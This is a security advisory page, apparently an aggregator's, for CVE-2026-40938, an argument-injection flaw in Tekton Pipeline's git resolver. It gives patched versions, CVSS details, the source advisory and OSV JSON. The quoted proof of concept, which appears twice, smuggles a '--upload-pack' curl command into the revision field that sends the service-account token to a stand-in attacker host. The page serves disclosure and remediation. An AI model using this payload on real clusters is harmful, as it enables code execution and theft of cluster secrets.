CVE-2026-40938: Tekton Pipeline Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-94jr-7pqp-xhcq
CVSS 7.5
CWE-88
Published
Advisory Summary

CVE-2026-40938 is a HIGH (CVSS 7.5) remote code execution vulnerability (CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')) affecting Tekton Pipeline libraries in the Go ecosystem. The issue involves git resolver unsanitized revision parameter enables git argument injection leading to rce. Remediation is available by upgrading affected packages to version 1.11.1, 1.9.3, 1.6.2, 1.3.4, 1.0.2.

CVE-2026-40938 at a Glance

CVE Identifier CVE-2026-40938
GHSA Identifier GHSA-94jr-7pqp-xhcq
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Affected Product Tekton Pipeline
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-40938

To remediate this vulnerability, upgrade all affected Tekton Pipeline dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/tektoncd/pipeline fixed: 1.11.1
Upgrade github.com/tektoncd/pipeline to 1.11.1
github.com/tektoncd/pipeline fixed: 1.9.3
Upgrade github.com/tektoncd/pipeline to 1.9.3
github.com/tektoncd/pipeline fixed: 1.6.2
Upgrade github.com/tektoncd/pipeline to 1.6.2
github.com/tektoncd/pipeline fixed: 1.3.4
Upgrade github.com/tektoncd/pipeline to 1.3.4
github.com/tektoncd/pipeline fixed: 1.0.2
Upgrade github.com/tektoncd/pipeline to 1.0.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/tektoncd/pipeline

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-40938, inspect your project dependencies for Tekton Pipeline:

inspect dependencies for github.com/tektoncd/pipeline

Analyze the terminal output to locate any version of Tekton Pipeline in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.11.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection'), where the product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string. In Tekton Pipeline, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The git resolver's `revision` parameter is passed directly as a positional argument to `git fetch` without any validation that it does not begin with a `-` character. Because git parses flags from mixed positional arguments, an attacker can inject arbitrary `git fetch` flags such as `--upload-pack=<binary>`. Combined with the `validateRepoURL` function explicitly permitting URLs that begin with `/` (local filesystem paths), a tenant who can submit `ResolutionRequest` objects can chain these two behaviors to execute an arbitrary binary on the resolver pod. The `tekton-pipelines-resolvers` ServiceAccount holds cluster-wide `get/list/watch` on all Secrets, so code execution on the resolver pod enables full cluster-wide secret exfiltration. ## Details ### Root Cause 1 — Unvalidated `revision` parameter passed to `git fetch` `pkg/resolution/resolver/git/repository.go:85`: ```go // pkg/resolution/resolver/git/repository.go lines 84-96 // 'revision' is the raw user-supplied string from the ResolutionRequest param. // It is passed verbatim as a positional argument to git fetch: func (repo *repository) checkout(ctx context.Context, revision string) error { _, err := repo.execGit(ctx, "fetch", "origin", revision, "--depth=1") // When revision == "--upload-pack=/usr/bin/curl", git parses it as the // --upload-pack flag, not as a refspec — executing the binary locally. if err != nil { return fmt.Errorf("fetch: %w", err) } _, err = repo.execGit(ctx, "checkout", "FETCH_HEAD") return err } ``` `execGit` invokes `exec.CommandContext("git", ...)` — no shell is used, so shell metacharacters cannot be injected. However, git itself parses flags from mixed positional arguments. When `revision = "--upload-pack=/path/to/binary"`, git receives this as the flag `--upload-pack=/path/to/binary`, not as a refspec. `PopulateDefaultParams` (`resolver.go:418–424`) applies only a leading-slash strip and a `containsDotDot` check on the `pathInRepo` parameter; the `revision` parameter receives no validation at all. ### Root Cause 2 — `validateRepoURL` explicitly permits local filesystem paths `pkg/resolution/resolver/git/resolver.go:154-158`: ```go // validateRepoURL validates if the given URL is a valid git, http, https URL or // starting with a / (a local repository). func validateRepoURL(url string) bool { pattern := `^(/|[^@]+@[^:]+|(git|https?)://)` re := regexp.MustCompile(pattern) return re.MatchString(url) } ``` Any URL beginning with `/` passes validation and is used directly as the argument to `git clone`. This means a local filesystem path such as `/tmp/some-repo` is a valid resolver URL. ### Exploit Chain `--upload-pack=<binary>` causes git to execute the specified binary as the upload-pack server when communicating with the remote. For local-path remotes (`/path`), git invokes the binary on the resolver pod itself with the repository path as its sole argument. Because the argument is passed via `exec.Command` as a single `--upload-pack=<binary>` string (not split by a shell), only binaries at known paths can be invoked — but several useful binaries exist in the resolver pod image (e.g., `/bin/sh`, `/usr/bin/curl`, `/bin/cp`). Attack complexity is High because the exploit requires either: - A valid git repository at a known, predicable path on the resolver pod (e.g., `/tmp/<reponame>-<suffix>` from a concurrent resolution), or - A default-URL configuration pointing at a local path ## PoC ```bash # Step 1: Set up a local git repository to serve as the "origin" # (in a real attack, the attacker would time this against a concurrent clone # or use any pre-existing git repo path on the resolver pod) git init /tmp/localrepo && cd /tmp/localrepo && git commit --allow-empty -m "init" # Step 2: Craft a ResolutionRequest with injected --upload-pack flag kubectl create -f - <<'EOF' apiVersion: resolution.tekton.dev/v1beta1 kind: ResolutionRequest metadata: name: revision-injection-poc namespace: default labels: resolution.tekton.dev/type: git spec: params: - name: url value: /tmp/localrepo - name: revision value: "--upload-pack=/usr/bin/curl http://c2.attacker.internal/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token | base64 -w0)" - name: pathInRepo value: README.md EOF # The resolver pod executes: # git -C <tmpdir> fetch origin \ # "--upload-pack=/usr/bin/curl http://c2.attacker.internal/..." \ # --depth=1 # # For single-argument binaries (/bin/sh, /usr/bin/env, etc.): # git -C <tmpdir> fetch origin "--upload-pack=/bin/sh" --depth=1 # Executes /bin/sh with the local repository path as argv[1]. # From /bin/sh, the attacker can use a pre-staged script (e.g., written # via a workspace volume) to achieve arbitrary command execution. ``` **Verified**: `git fetch origin --upload-pack=/tmp/test-exec.sh --depth=1` executes `test-exec.sh` on the local machine even when `origin` is a local filesystem path. Exit code 0 was observed with the test binary executed successfully. ## Impact - **Code execution on the resolver pod** when an attacker can stage or predict a valid git repository path in `/tmp` on the resolver pod. - **Full cluster-wide Secret exfiltration**: The `tekton-pipelines-resolvers` ServiceAccount is bound to a ClusterRole that grants `get/list/watch` on all Secrets in all namespaces (`config/resolvers/200-clusterrole.yaml`). Code execution on the resolver pod is therefore equivalent to reading every Secret in the cluster. - **Privilege escalation**: Secrets typically include kubeconfig files, cloud provider credentials, and API tokens — reading them enables lateral movement to cloud infrastructure. - Both the deprecated resolver (`pkg/resolution/resolver/git/`) and the current resolver (`pkg/remoteresolution/resolver/git/`) share the same `validateRepoURL`, `PopulateDefaultParams`, and `checkout` implementation via the shared `git` package. Both are affected. ## Recommended Fix **Fix 1 — Validate that `revision` does not begin with `-`** in `PopulateDefaultParams`: ```go if strings.HasPrefix(paramsMap[RevisionParam], "-") { return nil, fmt.Errorf("invalid revision %q: must not begin with '-'", paramsMap[RevisionParam]) } ``` **Fix 2 — Restrict `validateRepoURL` to remote URLs only** (remove local-path support in production builds, or add an explicit admin opt-in feature flag): ```go func validateRepoURL(url string) bool { pattern := `^([^@]+@[^:]+|(git|https?)://)` re := regexp.MustCompile(pattern) return re.MatchString(url) } ``` Applying Fix 1 alone is sufficient to prevent the argument injection. Fix 2 eliminates the enabling condition (local-path remotes for which `--upload-pack` runs locally) and reduces attack surface further.

CVE-2026-40938 Affected Tekton Pipeline Versions

5 component(s)
Fixed Versions:
1.11.11.9.31.6.21.3.41.0.2
Product / Package Ecosystem Affected Versions Fixed Version
github.com/tektoncd/pipeline
Go
≥ 1.10.0
< 1.11.1
1.11.1
github.com/tektoncd/pipeline
Go
≥ 1.7.0
< 1.9.3
1.9.3
github.com/tektoncd/pipeline
Go
≥ 1.4.0
< 1.6.2
1.6.2
github.com/tektoncd/pipeline
Go
≥ 1.2.0
< 1.3.4
1.3.4
github.com/tektoncd/pipeline
Go
≥ 1.0.0
< 1.0.2
1.0.2

References

Frequently Asked Questions

What is CVE-2026-40938?
CVE-2026-40938 is a security vulnerability in Tekton Pipeline involving Git Resolver Unsanitized Revision Parameter Enables git Argument Injection Leading to RCE under CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection').
Which Tekton Pipeline versions are affected?
Affected versions include releases prior to 1.11.1, 1.9.3, 1.6.2, 1.3.4, 1.0.2 across affected packages: github.com/tektoncd/pipeline.
What version fixes CVE-2026-40938?
Upgrading to 1.11.1, 1.9.3, 1.6.2, 1.3.4, 1.0.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/tektoncd/pipeline affected?
Yes, github.com/tektoncd/pipeline is affected in releases prior to 1.11.1, 1.9.3, 1.6.2, 1.3.4, 1.0.2. Upgrade your dependency to 1.11.1, 1.9.3, 1.6.2, 1.3.4, 1.0.2 or later.
What is the CVSS score of CVE-2026-40938?
CVE-2026-40938 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-40938?
CVE-2026-40938 is classified under CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.).
How can I check Go dependencies for CVE-2026-40938?
Run the dependency tree command: 'inspect dependencies for github.com/tektoncd/pipeline'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-94jr-7pqp-xhcq",
  "modified" : "2026-07-21T13:56:56Z",
  "published" : "2026-04-21T20:28:36Z",
  "aliases" : [ "CVE-2026-40938" ],
  "summary" : "Tekton Pipeline: Git Resolver Unsanitized Revision Parameter Enables git Argument Injection Leading to RCE",
  "details" : "## Summary\n\nThe git resolver's `revision` parameter is passed directly as a positional argument to `git fetch` without any validation that it does not begin with a `-` character. Because git parses flags from mixed positional arguments, an attacker can inject arbitrary `git fetch` flags such as `--upload-pack=<binary>`. Combined with the `validateRepoURL` function explicitly permitting URLs that begin with `/` (local filesystem paths), a tenant who can submit `ResolutionRequest` objects can chain these two behaviors to execute an arbitrary binary on the resolver pod. The `tekton-pipelines-resolvers` ServiceAccount holds cluster-wide `get/list/watch` on all Secrets, so code execution on the resolver pod enables full cluster-wide secret exfiltration.\n\n## Details\n\n### Root Cause 1 — Unvalidated `revision` parameter passed to `git fetch`\n\n`pkg/resolution/resolver/git/repository.go:85`:\n\n```go\n// pkg/resolution/resolver/git/repository.go lines 84-96\n// 'revision' is the raw user-supplied string from the ResolutionRequest param.\n// It is passed verbatim as a positional argument to git fetch:\nfunc (repo *repository) checkout(ctx context.Context, revision string) error {\n    _, err := repo.execGit(ctx, \"fetch\", \"origin\", revision, \"--depth=1\")\n    // When revision == \"--upload-pack=/usr/bin/curl\", git parses it as the\n    // --upload-pack flag, not as a refspec — executing the binary locally.\n    if err != nil {\n        return fmt.Errorf(\"fetch: %w\", err)\n    }\n    _, err = repo.execGit(ctx, \"checkout\", \"FETCH_HEAD\")\n    return err\n}\n```\n\n`execGit` invokes `exec.CommandContext(\"git\", ...)` — no shell is used, so shell metacharacters cannot be injected. However, git itself parses flags from mixed positional arguments. When `revision = \"--upload-pack=/path/to/binary\"`, git receives this as the flag `--upload-pack=/path/to/binary`, not as a refspec. `PopulateDefaultParams` (`resolver.go:418–424`) applies only a leading-slash strip and a `containsDotDot` check on the `pathInRepo` parameter; the `revision` parameter receives no validation at all.\n\n### Root Cause 2 — `validateRepoURL` explicitly permits local filesystem paths\n\n`pkg/resolution/resolver/git/resolver.go:154-158`:\n\n```go\n// validateRepoURL validates if the given URL is a valid git, http, https URL or\n// starting with a / (a local repository).\nfunc validateRepoURL(url string) bool {\n    pattern := `^(/|[^@]+@[^:]+|(git|https?)://)`\n    re := regexp.MustCompile(pattern)\n    return re.MatchString(url)\n}\n```\n\nAny URL beginning with `/` passes validation and is used directly as the argument to `git clone`. This means a local filesystem path such as `/tmp/some-repo` is a valid resolver URL.\n\n### Exploit Chain\n\n`--upload-pack=<binary>` causes git to execute the specified binary as the upload-pack server when communicating with the remote. For local-path remotes (`/path`), git invokes the binary on the resolver pod itself with the repository path as its sole argument. Because the argument is passed via `exec.Command` as a single `--upload-pack=<binary>` string (not split by a shell), only binaries at known paths can be invoked — but several useful binaries exist in the resolver pod image (e.g., `/bin/sh`, `/usr/bin/curl`, `/bin/cp`).\n\nAttack complexity is High because the exploit requires either:\n- A valid git repository at a known, predicable path on the resolver pod (e.g., `/tmp/<reponame>-<suffix>` from a concurrent resolution), or\n- A default-URL configuration pointing at a local path\n\n## PoC\n\n```bash\n# Step 1: Set up a local git repository to serve as the \"origin\"\n# (in a real attack, the attacker would time this against a concurrent clone\n# or use any pre-existing git repo path on the resolver pod)\ngit init /tmp/localrepo && cd /tmp/localrepo && git commit --allow-empty -m \"init\"\n\n# Step 2: Craft a ResolutionRequest with injected --upload-pack flag\nkubectl create -f - <<'EOF'\napiVersion: resolution.tekton.dev/v1beta1\nkind: ResolutionRequest\nmetadata:\n  name: revision-injection-poc\n  namespace: default\n  labels:\n    resolution.tekton.dev/type: git\nspec:\n  params:\n    - name: url\n      value: /tmp/localrepo\n    - name: revision\n      value: \"--upload-pack=/usr/bin/curl http://c2.attacker.internal/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token | base64 -w0)\"\n    - name: pathInRepo\n      value: README.md\nEOF\n\n# The resolver pod executes:\n# git -C <tmpdir> fetch origin \\\n#   \"--upload-pack=/usr/bin/curl http://c2.attacker.internal/...\" \\\n#   --depth=1\n#\n# For single-argument binaries (/bin/sh, /usr/bin/env, etc.):\n# git -C <tmpdir> fetch origin \"--upload-pack=/bin/sh\" --depth=1\n# Executes /bin/sh with the local repository path as argv[1].\n# From /bin/sh, the attacker can use a pre-staged script (e.g., written\n# via a workspace volume) to achieve arbitrary command execution.\n```\n\n**Verified**: `git fetch origin --upload-pack=/tmp/test-exec.sh --depth=1` executes `test-exec.sh` on the local machine even when `origin` is a local filesystem path. Exit code 0 was observed with the test binary executed successfully.\n\n## Impact\n\n- **Code execution on the resolver pod** when an attacker can stage or predict a valid git repository path in `/tmp` on the resolver pod.\n- **Full cluster-wide Secret exfiltration**: The `tekton-pipelines-resolvers` ServiceAccount is bound to a ClusterRole that grants `get/list/watch` on all Secrets in all namespaces (`config/resolvers/200-clusterrole.yaml`). Code execution on the resolver pod is therefore equivalent to reading every Secret in the cluster.\n- **Privilege escalation**: Secrets typically include kubeconfig files, cloud provider credentials, and API tokens — reading them enables lateral movement to cloud infrastructure.\n- Both the deprecated resolver (`pkg/resolution/resolver/git/`) and the current resolver (`pkg/remoteresolution/resolver/git/`) share the same `validateRepoURL`, `PopulateDefaultParams`, and `checkout` implementation via the shared `git` package. Both are affected.\n\n## Recommended Fix\n\n**Fix 1 — Validate that `revision` does not begin with `-`** in `PopulateDefaultParams`:\n\n```go\nif strings.HasPrefix(paramsMap[RevisionParam], \"-\") {\n    return nil, fmt.Errorf(\"invalid revision %q: must not begin with '-'\", paramsMap[RevisionParam])\n}\n```\n\n**Fix 2 — Restrict `validateRepoURL` to remote URLs only** (remove local-path support in production builds, or add an explicit admin opt-in feature flag):\n\n```go\nfunc validateRepoURL(url string) bool {\n    pattern := `^([^@]+@[^:]+|(git|https?)://)`\n    re := regexp.MustCompile(pattern)\n    return re.MatchString(url)\n}\n```\n\nApplying Fix 1 alone is sufficient to prevent the argument injection. Fix 2 eliminates the enabling condition (local-path remotes for which `--upload-pack` runs locally) and reduces attack surface further.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/tektoncd/pipeline"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.10.0"
      }, {
        "fixed" : "1.11.1"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/tektoncd/pipeline"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.7.0"
      }, {
        "fixed" : "1.9.3"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/tektoncd/pipeline"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.4.0"
      }, {
        "fixed" : "1.6.2"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/tektoncd/pipeline"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.2.0"
      }, {
        "fixed" : "1.3.4"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/tektoncd/pipeline"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.0.0"
      }, {
        "fixed" : "1.0.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/tektoncd/pipeline/security/advisories/GHSA-94jr-7pqp-xhcq"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40938"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:17546"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:24359"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:24484"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:26519"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/errata/RHSA-2026:26538"
  }, {
    "type" : "WEB",
    "url" : "https://access.redhat.com/security/cve/CVE-2026-40938"
  }, {
    "type" : "WEB",
    "url" : "https://bugzilla.redhat.com/show_bug.cgi?id=2460292"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/tektoncd/pipeline"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tektoncd/pipeline/releases/tag/v1.11.1"
  }, {
    "type" : "WEB",
    "url" : "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-40938.json"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-88" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-21T20:28:36Z",
    "nvd_published_at" : "2026-04-21T21:16:46Z"
  }
}